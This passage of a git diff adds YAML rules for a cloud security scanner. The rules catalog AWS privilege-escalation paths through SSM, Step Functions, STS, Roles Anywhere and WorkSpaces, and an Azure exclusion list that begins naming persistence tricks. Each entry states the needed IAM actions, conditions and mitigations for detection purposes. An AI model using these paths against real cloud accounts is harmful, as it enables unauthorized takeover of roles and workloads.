escalation techniques. +# Source: hacktricks-cloud aws-ssm-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-ssm-sendcommand + provider: aws + service: ssm + title: Run commands on SSM-managed instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 171e422299 + summary: The source may reach the instance-profile role by running a shell command on an SSM-managed instance it can target. + requires: + all_of: + - action: ssm:SendCommand + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: shell_document_allowed + description: ssm:SendCommand must also cover a document that runs arbitrary commands (e.g. AWS-RunShellScript / AWS-RunPowerShellScript); a Resource limited to non-shell documents removes the edge. + - id: document_platform + description: The permitted shell document must be usable on the instance's operating system. + - id: instance_managed + description: The instance must be online in SSM (agent running, network path to SSM, managed-instance role). + - id: ssm_resource_tag_condition + description: ssm:resourceTag conditions may limit covered instances. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_document_on_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope ssm:SendCommand to specific instance ARNs/tags and to non-shell documents; restrict shell documents to administrators. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-rc-setting-up-cmdsec.html + notes: SendCommand authorizes both the instance and the document ARNs. The evaluator checks same-Region AWS shell documents; a potentially usable custom document remains unresolved. Hybrid managed nodes (mi-*) yield their service role credentials only via the node, not an EC2 instance profile. + +- id: aws-ssm-startsession + provider: aws + service: ssm + title: Open a Session Manager shell on managed instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartsession + source_revision: 171e422299 + summary: The source may reach the instance-profile role through a shell session on an SSM-managed instance it can target. + requires: + all_of: + - action: ssm:StartSession + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: session_document_restriction + description: If StartSession is limited to a document ARN that only allows port forwarding or a constrained command, no shell is obtained. + - id: session_data_channel + description: The source also needs ssmmessages:OpenDataChannel on the session it starts. + - id: instance_managed + description: The instance must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_session_on_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope ssm:StartSession to specific instances and require ssm:SessionDocumentAccessCheck with restricted session documents. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/getting-started-restrict-access-quickstart.html + notes: The evaluator checks StartSession on an online instance and its same-Region SSM-SessionManagerRunShell document, plus an OpenDataChannel grant for a future session in that account and Region. The exact generated session ID and instance-level shell restrictions remain conditional. + +- id: aws-ssm-createassociation + provider: aws + service: ssm + title: Create a State Manager association that runs commands on instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privileged-execution-through-a-state-manager-association + source_revision: 171e422299 + summary: The source may run a shell document on an SSM-managed instance by creating an association that targets its instance ID. + requires: + all_of: + - action: ssm:CreateAssociation + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: shell_document_allowed + description: CreateAssociation must cover a shell document as well as the new association resource. + - id: instance_managed + description: The instance must be online in SSM. + - id: targets_parameter + description: The Targets parameter can name the instance ID directly; an instance ARN restriction is enforced only for the deprecated InstanceId parameter. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_association_targets + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ssm:CreateAssociation to configuration-management principals and to approved documents. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/state-manager-associations.html + notes: The evaluator checks the Targets route with an exact instance ID, an association ARN, and a same-Region AWS shell document. A custom shell document remains unresolved if its command behavior is not collected. + +- id: aws-ssm-maintenancewindow-register-task-target + provider: aws + service: ssm + title: Register or update a Run Command task on an existing maintenance window + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmregistertaskwithmaintenancewindow-ssmregistertargetwithmaintenancewindow-ssmdescribemaintenancewindows--ec2describeinstances + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the instance-profile role of SSM-managed instances by having an existing maintenance window run a command task it registered or modified on them. + requires: + any_of: + - - action: ssm:RegisterTaskWithMaintenanceWindow + resource: "*" + - - action: ssm:UpdateMaintenanceWindowTask + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + outcome: workload_execution + conditions: + - id: window_schedule + description: An enabled maintenance window must exist and reach its next scheduled run; the task can omit a service role (the service-linked role is used) or needs iam:PassRole for a custom one. + - id: task_targets + description: Without ssm:RegisterTargetWithMaintenanceWindow the task reaches only the window's existing targets or instances it names directly as task targets; with it the source can add any managed instance to the window. + - id: instance_managed + description: Target instances must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_maintenance_window_run_command_target + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict maintenance-window task registration and update APIs to operations principals, reconcile window tasks against IaC and alert on new or changed window tasks. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/maintenance-windows-permissions.html + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_UpdateMaintenanceWindowTask.html + notes: A registered Run Command task can name an online instance directly with Targets InstanceIds. Updating a task requires an existing RUN_COMMAND task and authorization on both its maintenance window and its windowtask ARN. The passed-service-role Automation variant is aws-ssm-maintenancewindow-automation-task-passrole. + + +- id: aws-ssm-createdocument-startautomationexecution-passrole + provider: aws + service: ssm + title: Create an Automation runbook with a passed assume role and start it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + source_revision: 171e422299 + summary: The source can run an Automation document it authored using a passable SSM role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateDocument + resource: "*" + - action: ssm:StartAutomationExecution + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: trust_confused_deputy_conditions + description: aws:SourceAccount / aws:SourceArn conditions in the role trust limit it to Automation executions of the stated account. + preconditions: + - ssm_new_automation_document_executable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Automation roles with iam:PassedToService, restrict ssm:CreateDocument to administrators, and keep Automation roles least-privileged. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-setup-iam.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awssystemsmanager.html + notes: The evaluator binds CreateDocument and StartAutomationExecution to one new Automation document name in one Region, and checks authorization on generated automation-execution resources. The passed role may be supplied through the runbook or the execution request. + +- id: aws-ssm-passrole-createactivation + provider: aws + service: ssm + title: Create a hybrid activation bound to a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmcreateactivation-iampassrole--mint-a-hybrid-activation-that-hands-out-a-role + source_revision: 171e422299 + summary: The source can register a machine it controls as an SSM hybrid managed node using a passable role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateActivation + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: activation_code_bearer + description: The activation code returned to the caller is a bearer credential that keeps working after the caller loses access, until the activation is deleted and the registered nodes are deregistered. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ssm:CreateActivation to node-onboarding administrators, scope iam:PassRole on hybrid service roles with iam:PassedToService=ssm.amazonaws.com, and alert on CreateActivation and RegisterManagedInstance from unexpected sources. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/hybrid-multicloud-service-role.html + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreateActivation.html + notes: The hybrid service role must trust ssm.amazonaws.com; the node needs no EC2 instance, VPC or ec2:RunInstances. + +- id: aws-ssm-jit-startaccessrequest-getaccesstoken + provider: aws + service: ssm + title: Obtain just-in-time node access credentials and open a session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartaccessrequest--ssmgetaccesstoken--vend-jit-credentials-for-a-session-manager-shell + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of managed nodes for which its just-in-time access request is approved. + requires: + all_of: + - action: ssm:StartAccessRequest + resource: "{target.resource_arn}" + - action: ssm:GetAccessToken + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances reachable by just-in-time access in {account}" + conditions: + - id: jit_enabled_and_approved + description: Just-in-time node access must be enabled in the account and Region, and an auto-approval policy or all manual approvers must approve the request; a deny-access policy wins. + - id: assumed_role_caller + description: The requester must use supported sts:AssumeRole credentials; IAM users are not supported. + - id: instance_managed + description: The instance must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_jit_approved_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Keep JIT approval policies narrow (explicit requesters, tagged nodes, manual approval for sensitive nodes), scope ssm:StartAccessRequest by node, and set Session Manager maximum duration and idle timeouts. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-just-in-time-node-access.html + notes: StartAccessRequest is authorized on the EC2 instance ARN for an EC2 managed node. An approval policy or an existing approved request must be proven for the source and node before this path can become a reported edge; until then the route remains unresolved. + +- id: aws-ssm-maintenancewindow-automation-task-passrole + provider: aws + service: ssm + title: Register or update a maintenance-window Automation task with a passed service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmregistertaskwithmaintenancewindow-ssmregistertargetwithmaintenancewindow-ssmdescribemaintenancewindows--ec2describeinstances + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of a passable role trusting ssm.amazonaws.com by having a maintenance window run an Automation runbook it authored under that service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateDocument + resource: "*" + any_of: + - - action: ssm:RegisterTaskWithMaintenanceWindow + resource: "*" + - - action: ssm:UpdateMaintenanceWindowTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: window_schedule + description: An enabled maintenance window must exist and reach its next scheduled run; the effect is delayed until then. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: automation_task_type + description: Only Automation tasks execute steps under the passed service role; Run Command tasks use it only for notifications and run as the node's role. + preconditions: + - ssm_maintenance_window_automation_task_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict maintenance-window task registration and update to operations principals, scope iam:PassRole on SSM service roles with iam:PassedToService, and restrict ssm:CreateDocument. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/maintenance-windows-permissions.html + notes: The page states that with a passed service role the window task runs under that role. Same reach as aws-ssm-createdocument-startautomationexecution-passrole, delayed to the window schedule. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sso.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sso.yaml new file mode 100644 index 0000000000..f5725e98ee --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sso.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IAM Identity Center (SSO) and Identity Store privilege escalation techniques. +# Source: hacktricks-cloud aws-sso-and-identitystore-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml new file mode 100644 index 0000000000..5fa87c3d04 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/stepfunctions.yaml @@ -0,0 +1,124 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Step Functions privilege escalation techniques. +# Source: hacktricks-cloud aws-stepfunctions-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-stepfunctions-teststate-passrole + provider: aws + service: stepfunctions + title: Run a supported test state with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesteststate--iampassrole + source_revision: 171e422299 + summary: The source can run one supported, unmocked AWS SDK task using a passable Step Functions role and read the task result. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: states:TestState + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: supported_unmocked_task + description: The requested action must be available as an unmocked TestState task and allowed by the passed role; a single test does not run an arbitrary multi-step workflow. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles with iam:PassedToService=states.amazonaws.com, and restrict states:TestState to developers on non-production roles. + references: + - https://docs.aws.amazon.com/step-functions/latest/dg/test-state-isolation.html + notes: The Step Functions developer guide confirms TestState assumes the provided role and that iam:PassRole is required for an unmocked task. AWS SDK integrations include IAM. Map, Parallel, Activity, .sync, and waitForTaskToken patterns require mocks in TestState, so they do not exercise the role through this path. + +- id: aws-stepfunctions-createstatemachine-passrole-start + provider: aws + service: stepfunctions + title: Create a state machine with a passed role and execute it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statescreatestatemachine--iampassrole--statesstartexecution--statesstartsyncexecution + source_revision: 171e422299 + summary: The source can run a new state machine that makes AWS service calls using a passable Step Functions role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: states:CreateStateMachine + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + any_of: + - - action: states:StartExecution + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + - - action: states:StartSyncExecution + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: same_new_state_machine + description: Creation and execution must both be allowed on the same new state machine ARN. + - id: sync_requires_express + description: StartSyncExecution only works for Express state machines (the source chooses the type, so this does not remove the edge). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles and state machine creation to the deployment pipeline. + references: + - https://docs.aws.amazon.com/step-functions/latest/apireference/API_CreateStateMachine.html + notes: "" + +- id: aws-stepfunctions-updatestatemachine-passrole + provider: aws + service: stepfunctions + title: Modify an existing state machine and swap in a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole + source_revision: 171e422299 + summary: The source can update and run an existing state machine so it makes AWS service calls using a passable Step Functions role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + preconditions: + - sfn_existing_state_machine_update_and_start + conditions: + - id: execution_after_update + description: The source must start the same state machine after attaching the passed role and updating its definition. + - id: existing_state_machine + description: A recorded active state machine must permit both UpdateStateMachine and StartExecution, or StartSyncExecution when it is Express. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles and states:UpdateStateMachine. + references: + - https://docs.aws.amazon.com/step-functions/latest/apireference/API_UpdateStateMachine.html + notes: "" diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sts.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sts.yaml new file mode 100644 index 0000000000..3a67170d4e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sts.yaml @@ -0,0 +1,125 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS STS / IAM Roles Anywhere privilege escalation techniques. +# Source: hacktricks-cloud aws-sts-privesc/README.md. + +- id: aws-sts-assumerole-trusted + provider: aws + service: sts + title: Assume a role whose trust policy allows the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerole + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of a role whose trust policy allows it. A same-account trust + naming the source principal directly can suffice without an identity-policy AssumeRole grant; account-root + and cross-account trusts also need an identity-policy grant. + requires: + all_of: + - action: sts:AssumeRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + trust_allows_principal_of_source: true + scope: any + aggregate_as: Roles assumable by the source + conditions: + - id: trust_names_principal_directly + description: For a same-account trust that names the source principal ARN directly, the identity-policy sts:AssumeRole + grant is not required. Trusts naming only the account root require it; cross-account always requires it. + - id: trust_conditions + description: Trust conditions such as sts:ExternalId, aws:MultiFactorAuthPresent, sts:SourceIdentity, aws:PrincipalOrgID + or aws:SourceIp may block the assumption. + - id: source_controlled_session_attributes + description: Trust conditions on aws:PrincipalTag/*, aws:RequestTag/*, sts:SourceIdentity or sts:RoleSessionName + may be satisfiable through source-controlled identity tags, sts:TagSession, sts:SetSourceIdentity, transitive + tags from an earlier session, or attributes asserted by the trusted account. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Trust specific principal ARNs (not account roots or "*"), add aws:PrincipalOrgID / ExternalId / MFA + conditions, and limit sts:AssumeRole Resources. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: Severity is critical only when an assumable role is admin-equivalent. Role chaining is handled by the evaluator + through repeated edges. + + +- id: aws-rolesanywhere-updatetrustanchor + provider: aws + service: rolesanywhere + title: Replace the CA of an IAM Roles Anywhere trust anchor + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywhereupdatetrustanchor--replace-the-trusted-ca-and-mint-role-sessions + source_revision: 171e422299 + summary: The source can obtain the privileges of every role in an enabled Roles Anywhere profile that accepts certificates from a trust anchor whose CA the source can replace. + requires: + all_of: + - action: rolesanywhere:UpdateTrustAnchor + resource: "{target.trust_anchor_arn}" + target: + kind: aws_role + selector: + rolesanywhere_profile_includes_target: true + scope: same_account + aggregate_as: "Roles reachable through Roles Anywhere trust anchors covered by rolesanywhere:UpdateTrustAnchor in {account}" + preconditions: + - rolesanywhere_anchor_profile_trust_join + conditions: + - id: complete_rolesanywhere_role_trust + description: The role trust must allow Roles Anywhere to AssumeRole, TagSession, and SetSourceIdentity for the selected anchor. + - id: trust_conditions_on_cert_attributes + description: Role trust conditions on certificate attributes must be satisfiable by a certificate the source issues. The evaluator binds aws:SourceArn to the exact writable trust anchor and leaves other uncertain conditions unresolved. + - id: anchor_and_profile_enabled + description: The trust anchor and the profile must be enabled (enabling them needs rolesanywhere:EnableTrustAnchor / EnableProfile). + - id: replaceable_certificate_bundle + description: UpdateTrustAnchor can replace an external certificate bundle. An AWS Private CA trust anchor cannot have its CA replaced after creation. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict rolesanywhere:UpdateTrustAnchor/CreateTrustAnchor to administrators and pin aws:SourceArn of the trust anchor plus certificate-subject conditions in role trusts. + references: + - https://docs.aws.amazon.com/rolesanywhere/latest/userguide/trust-model.html + notes: "The evaluator joins a writable enabled certificate-bundle anchor to an enabled profile in the same account and Region and a role trust that admits that exact anchor. Profiles with session policies or managed policy restrictions remain unresolved because they do not grant the full target role." + +- id: aws-rolesanywhere-createtrustanchor-createprofile-passrole + provider: aws + service: rolesanywhere + title: Create an attacker-CA Roles Anywhere trust anchor and a profile listing a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iam-roles-anywhere-trust-anchor-backdoor-rolesanywherecreatetrustanchor--createprofile + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting rolesanywhere.amazonaws.com by registering a trust anchor for a CA it controls and a profile that lists the role, then creating sessions with certificates it signs. + requires: + all_of: + - action: rolesanywhere:CreateTrustAnchor + resource: "*" + - action: rolesanywhere:CreateProfile + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Passable roles trusting IAM Roles Anywhere in {account}" + outcome: credentials + preconditions: + - rolesanywhere_new_anchor_profile_role_ready + conditions: + - id: trust_conditions_satisfiable + description: Role trust must allow AssumeRole, TagSession, and SetSourceIdentity for a newly generated anchor. An exact existing aws:SourceArn does not accept a new anchor; a broad ArnLike trust-anchor wildcard can. + - id: anchor_and_profile_enabled + description: The trust anchor and profile must be enabled at creation or later (rolesanywhere:EnableTrustAnchor / EnableProfile). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict rolesanywhere:CreateTrustAnchor and CreateProfile to administrators, constrain iam:PassRole for rolesanywhere.amazonaws.com, and pin aws:SourceArn of approved trust anchors in role trust policies. + references: + - https://docs.aws.amazon.com/rolesanywhere/latest/userguide/trust-model.html + notes: The source can create a profile without session-policy restrictions and set it and the new certificate-bundle anchor enabled. The evaluator checks both create actions in one Region, the passable role, collected capacity, and role trust for a newly generated anchor. Unresolved trust conditions remain unknown. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/supplychain.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/supplychain.yaml new file mode 100644 index 0000000000..a5e2ee8113 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/supplychain.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Supply Chain application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-supply-chain-privesc/README.md (rev 171e422299). +# Supply Chain instances are not collected: every edge is one unresolved placeholder per account. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml new file mode 100644 index 0000000000..8d264b1c1e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon CloudWatch Synthetics privilege escalation techniques. +# Source: hacktricks-cloud aws-synthetics-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/transfer.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/transfer.yaml new file mode 100644 index 0000000000..7819ec6d14 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/transfer.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Transfer Family privilege escalation techniques. +# Source: hacktricks-cloud aws-transfer-family-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml new file mode 100644 index 0000000000..5916a684d3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/workspaces.yaml @@ -0,0 +1,48 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon WorkSpaces (WorkSpaces Instances) privilege escalation techniques. +# Source: hacktricks-cloud aws-workspaces-privesc/README.md (rev 171e422299). + +- id: aws-workspaces-instances-passrole-createworkspaceinstance + provider: aws + service: workspaces-instances + title: Create a WorkSpaces instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-privesc/README.md#workspaces-instancescreateworkspaceinstance-iampassrole-ec2runinstances + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable instance-profile role trusting ec2.amazonaws.com by launching a WorkSpaces instance whose user data it controls. + requires: + all_of: + - action: workspaces-instances:CreateWorkspaceInstance + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + - action: ec2:RunInstances + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Instance-profile roles passable in {account}" + outcome: workload_execution + conditions: + - id: forward_access_session + description: ec2:RunInstances is evaluated through a forward access session; aws:CalledVia conditions must admit workspaces-instances.amazonaws.com. + - id: service_linked_role + description: The AWSServiceRoleForWorkSpacesInstances service-linked role must exist (or the source needs iam:CreateServiceLinkedRole). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on instance-profile roles and treat workspaces-instances:CreateWorkspaceInstance like ec2:RunInstances. + references: + - https://docs.aws.amazon.com/workspaces/latest/adminguide/workspaces-instances.html + notes: Equivalent reach to ec2:RunInstances + iam:PassRole; the source still needs RunInstances on the AMI, network and instance resources. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_compute.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_compute.yaml new file mode 100644 index 0000000000..ea11df1914 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_compute.yaml @@ -0,0 +1,324 @@ +# Compute group (G2) exclusions for HackTricks Cloud rev 171e422 non-privesc pages. +# Each section was reviewed; none yields another principal's privileges beyond the catalog entries noted. + +- source: src/pentesting-cloud/azure-security/az-persistence/az-chaos-studio-persistence.md#pre-stage-a-kill-switch + technique: Pre-stage a kill switch + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md#backdoor-cloud-shell-startup-files + technique: Backdoor Cloud Shell startup files + reason: Backdoors the caller's own Cloud Shell home; another user's home is azure-cloudshell-home-image-backdoor. +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-apps-persistence.md#microsoftappcontainerappsauthconfigswrite--easy-auth-bypass-or-identity-provider-replacement + technique: '`Microsoft.App/containerApps/authConfigs/write` — Easy Auth bypass or identity provider replacement' + reason: Easy Auth bypass / IdP repoint gives application-level access only; no Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-registry-persistence.md#microsoftcontainerregistryregistrieslistcredentialsaction-microsoftcontainerregistryregistrieswrite + technique: '`Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`' + reason: Registry admin credential persistence; registry push/pull only (consumer pivot is azure-acr-push-restart-aci-consumer). +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-registry-persistence.md#create-a-service-principal-with-acrpull + technique: Create a service principal with AcrPull + reason: Creates an attacker-owned principal with AcrPull; persistence of registry read access, requires app/role-assignment write modelled elsewhere. +- source: 